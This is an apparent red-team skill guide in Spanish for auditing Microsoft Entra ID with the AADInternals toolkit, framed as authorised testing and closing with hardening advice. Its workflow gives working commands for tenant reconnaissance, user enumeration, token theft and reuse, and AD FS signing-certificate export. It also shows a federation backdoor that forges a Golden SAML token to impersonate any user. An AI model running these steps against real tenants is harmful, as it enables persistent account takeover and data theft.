¿Qué hace Auditoría de Entra ID con AADInternals?
Aviso Legal: Esta habilidad es solo para pruebas de seguridad autorizadas, compromisos de equipo rojo y fines educativos. AADInternals puede falsificar tokens SAML e instalar backdoors de federación que otorgan suplantación persistente de cualquier usuario del inquilino. Úsalo únicamente contra inquilinos que poseas o para los cuales tengas autorización explícita por escrito (reglas de enfrentamiento) para realizar pruebas. El uso no autorizado infringe la Ley de Fraude y Abuso Informático y leyes equivalentes.
Resumen
AADInternals es el kit de herramientas PowerShell ofensivo/administrativo más completo para Microsoft Entra ID (anteriormente Azure AD), Azure AD Connect y Servicios de Federación de Active Directory (AD FS), creado por el Dr. Nestori Syynimaa (Gerenios / Secureworks). Expone cientos de cmdlets (todos con el prefijo AADInt) que cubren reconocimiento externo no autenticado, adquisición de tokens de acceso para cada API de Microsoft, manipulación de directorios, ataques a AD FS/PTA, y la técnica por la que es más famoso: backdoors de federación que abusan de la ruta Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor para que un atacante que controle el IssuerUri de un dominio federado pueda generar tokens SAML para usuarios arbitrarios, correspondiendo a la técnica MITRE ATT&CK T1606.002 (Forjar Credenciales Web: Tokens SAML), la misma clase de técnica utilizada en las intrusiones de SolarWinds (Golden SAML).
El kit separa las capacidades según la posición requerida. Invoke-AADIntReconAsOutsider y Get-AADIntLoginInformation no requieren credenciales: consultan endpoints públicos (getuserrealm, configuración de OpenID, autodescubrimiento) para revelar dominios verificados, ID del inquilino, tipo de federación, marca y si el SSO de Escritorio/Perfecto está habilitado. Con un punto de apoyo, los cmdlets Get-AADIntAccessTokenFor* adquieren tokens para Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management y más, opcionalmente almacenándolos en caché para que cmdlets posteriores los reutilicen. Con Administrador Global (o una cuenta sincronada de AD Connect), el kit puede leer secretos del directorio, manipular usuarios y establecer el backdoor de federación.
Esta habilidad impulsa AADInternals desde una perspectiva de validación defensiva: confirmar qué puede aprender un atacante externo, qué alcance tiene un token con pocos privilegios y si la configuración de federación/AD FS permitiría Golden SAML, para luego producir evidencia y recomendaciones de endurecimiento.
Cuándo Usarlo
- Durante una evaluación de equipo rojo autorizada de Entra ID / Microsoft 365 o de asunción de brecha
- Para enumerar la superficie de ataque externa (dominios verificados, tipo de federación, SSO) antes de ataques con credenciales
- Para validar que los certificados de firma de tokens de federación y AD FS están protegidos contra Golden SAML
- Para probar la adquisición y reutilización de tokens en las API de primera parte de Microsoft
- Al construir detecciones (combinar con la habilidad de caza de registros de Graph del equipo azul) y necesitar telemetría real de AADInternals
Prerrequisitos
- Autorización por escrito que cubra pruebas de ataque a identidad y backdoors de federación
- Host Windows con PowerShell 5.1+ (o PowerShell 7 en el subconjunto compatible)
- Para pruebas de backdoor/federación: Administrador Global (o equivalente) en el inquilino objetivo, dentro del alcance según las reglas de enfrentamiento
- Instalar el módulo desde la Galería de PowerShell:
Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals # También está disponible una reimplementación multiplataforma solo AsOutsider (sin credenciales): # https://github.com/synacktiv/AADOutsider-py - Familiaridad con SAML/WS-Federation, tokens OAuth y Azure AD Connect
Objetivos
- Realizar reconocimiento de inquilinos no autenticado y enumerar dominios verificados, ID del inquilino y tipo de federación
- Adquirir y almacenar en caché tokens de acceso para las API de primera parte de Microsoft
- Enumerar usuarios/grupos/roles con un token autenticado
- Probar el backdoor de federación / ruta Golden SAML de manera controlada y autorizada
- Documentar la exposición y entregar recomendaciones de endurecimiento (protección de certificados de firma de tokens, monitoreo de federación)
Mapeo MITRE ATT&CK
| ID | Técnica | Aplicación en esta habilidad |
|---|---|---|
| T1606.002 | Forjar Credenciales Web: Tokens SAML | ConvertTo-AADIntBackdoor + New-AADIntSAMLToken forjan tokens SAML para usuarios arbitrarios a través de un IssuerUri de federación controlado (Golden SAML) |
Técnicas relacionadas: T1087.004 Descubrimiento de Cuentas: Cuenta en la Nube (reconocimiento), T1528 Robar Token de Acceso de Aplicación (adquisición de tokens), T1556.007 Modificar Proceso de Autenticación: Identidad Híbrida (backdoors de federación/PTA).
Flujo de Trabajo
Paso 1: Reconocimiento externo no autenticado
No se requieren credenciales. Identificar dominios verificados, ID del inquilino, tipo de federación, marca y estado de SSO.
# Reconocimiento externo completo para un dominio (salida en tabla)
Invoke-AADIntReconAsOutsider -DomainName "objetivo.com" | Format-Table
# Detalles de inicio de sesión/reino: federado vs. administrado, AuthURL, marca
Get-AADIntLoginInformation -Domain "objetivo.com"
# GUID del inquilino
Get-AADIntTenantID -Domain "objetivo.com"
Paso 2: Enumeración de usuarios externos (opcional, ruidosa)
Validar si los nombres de usuario existen a través de los endpoints GetCredentialType / autologon.
# Proporcionar una lista de UPN candidatos para probar la existencia
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# O canalizar varios:
Get-Content .\usuarios.txt | Invoke-AADIntUserEnumerationAsOutsider
Paso 3: Adquirir y almacenar en caché tokens de acceso
Con credenciales válidas (o un aviso interactivo), obtener tokens para la API que necesites. -SaveToCache permite que cmdlets posteriores reutilicen el token automáticamente.
# Token de Azure AD Graph (graph.windows.net heredado), almacenado en caché
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
Paso 4: Enumeración de directorio autenticada
Usando un token almacenado en caché/adquirido, leer objetos del directorio para mapear privilegios.
# Información global del inquilino (usa el token de AAD Graph en caché)
Get-AADIntTenantDetails
# Enumerar usuarios y buscar cuentas privilegiadas / sincronizadas
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
Paso 5: Inspeccionar configuración de federación / AD FS
Determinar si el inquilino utiliza dominios federados y dónde residen las claves de firma de tokens, el requisito previo para Golden SAML.
# Si tienes acceso al servidor de AD FS, exportar el certificado de firma de tokens
Export-AADIntADFSSigningCertificate -Path .\certificado_firma_adfs.pfx
# Leer la configuración de AD FS / claves de cifrado (en el equipo AD FS o mediante DKM)
Get-AADIntADFSConfiguration -Server adfs.objetivo.com
Paso 6: Backdoor de federación / Golden SAML (solo autorizado)
Convertir un dominio en un backdoor estableciendo un IssuerUri conocido, luego forjar un token SAML para un usuario objetivo usando el ImmutableId de ese dominio. Solo en un inquilino controlado con autorización explícita.
# Requiere un token de Administrador Global (AAD Graph) almacenado en caché en el Paso 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.objetivo.com"
# La salida incluye el IssuerUri para reutilizar al forjar tokens.
# Forjar un token SAML suplantando a un usuario (ImmutableId de Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.objetivo.com/adfs/services/trust/" -UseBuiltInCertificate
# Usar el token forjado para abrir una sesión del portal como el usuario suplantado
Open-AADIntOffice365Portal -SAMLToken $saml
Paso 7: Documentar exposición y endurecer
Capturar exactamente qué reveló el reconocimiento, qué tokens/API fueron alcanzables y si la ruta de backdoor/Golden SAML tuvo éxito. Recomendar: proteger los certificados de firma de tokens de AD FS (HSM, acceso DKM restringido), alertar sobre nuevos cambios en las relaciones de confianza de federación, monitorear Set-DomainAuthentication/Set-MsolDomainFederationSettings, y migrar cuando sea factible a autenticación administrada (en la nube).
Herramientas y Recursos
| Recurso | Propósito | Fuente |
|---|---|---|
| AADInternals | Kit de herramientas de ataque y administración de Entra ID / AD FS | https://github.com/Gerenios/AADInternals |
| Documentación de AADInternals | Referencia de cmdlets y guías de técnicas | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | Reimplementación multiplataforma solo AsOutsider | https://github.com/synacktiv/AADOutsider-py |
| Información sobre Golden SAML | Guía de la técnica de backdoor de federación | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | Forjar Credenciales Web: Tokens SAML | https://attack.mitre.org/techniques/T1606/002/ |
Referencia Rápida de Cmdlets
| Cmdlet | Posición | Propósito |
|---|---|---|
Invoke-AADIntReconAsOutsider | Ninguna | Dominios verificados, ID del inquilino, tipo de federación, SSO |
Get-AADIntLoginInformation | Ninguna | Detalles de inicio de sesión/reino para un dominio |
Get-AADIntTenantID | Ninguna | GUID del inquilino |
Invoke-AADIntUserEnumerationAsOutsider | Ninguna | Validar existencia de usuario |
Get-AADIntAccessTokenForAADGraph | Credenciales | Token de Azure AD Graph (-SaveToCache) |
Get-AADIntAccessTokenForMSGraph | Credenciales | Token de Microsoft Graph |
Get-AADIntAccessTokenForEXO | Credenciales | Token de Exchange Online |
Get-AADIntUsers | Token | Enumerar usuarios del directorio |
ConvertTo-AADIntBackdoor | Admin Global | Convertir un dominio en un backdoor de federación |
New-AADIntSAMLToken | Backdoor | Forjar un token SAML para un usuario (Golden SAML) |
Open-AADIntOffice365Portal | Token SAML | Abrir una sesión del portal como el usuario suplantado |
Criterios de Validación
- Reconocimiento externo completado; dominios verificados, ID del inquilino y tipo de federación registrados
- Enumeración de usuarios probada (o documentada como fuera del alcance)
- Token de acceso adquirido y almacenado en caché para al menos una API de Microsoft
- Enumeración de directorio autenticada realizada (usuarios/roles, cuentas sincronizadas anotadas)
- Configuración de federación / AD FS evaluada para exposición de claves de firma de tokens
- Ruta de backdoor / Golden SAML probada en un inquilino controlado autorizado o documentada como fuera del alcance
- Exposición documentada con impacto concreto
- Recomendaciones de endurecimiento entregadas (protección de certificados, monitoreo de federación, migración a autenticación administrada)